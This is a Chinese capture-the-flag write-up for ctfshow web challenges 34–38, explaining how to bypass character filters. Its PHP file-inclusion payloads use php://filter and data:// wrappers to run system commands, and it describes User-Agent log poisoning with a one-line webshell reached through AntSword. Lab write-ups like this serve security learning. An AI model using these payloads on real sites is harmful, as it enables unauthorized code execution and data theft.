ctfshow web入门 命令执行34-38
1.web34
和web33差不多,过滤了冒号
第一个为官方解法
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
2.web35
这题过滤了<,=和上题一样还是可以用
第一个为官方解法
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
3.web36
这题又过滤了数字,可以继续使用上题的payload,把数字改为字母即可
第一个为官方解法
payload:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&a=data://text/plain,<?php system("nl flag.php")?>
4.web37
这题变为了文件包含类的文件执行,过滤了flag,php伪协议中的filter不行
第二个为官方解法
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==解码后是<?php system('cat flag.php');?>
c=data://text/palin,<?php system("nl fla*");?>
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
ua文件包含日志
ua头文件包含
通过信息搜集知道是什么类型的服务器,日志默认位置就知道了
nginx /var/log/nginx/access.log
apache Usr/local/apache/logs/access.log
burp抓包往ua中写入一句话木马
进行日志包含连接蚁剑,得到flag
http://xx/?c=/var/log/nginx/access.log
为什么在ua头进行日志包含,其他地方进行了编码,php代码不能正常执行
文件包含只能包含文件,或者用php伪协议去执行php代码或命令,<?php system("nl fla*")?>或system("nl fla*")是不行的
写一个php代码文件,代码是查看2.txt,再去包含,就可以查看了
5.web38
这题用过滤了file,php等
payload:
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
ua头文件包含

浙公网安备 33010602011771号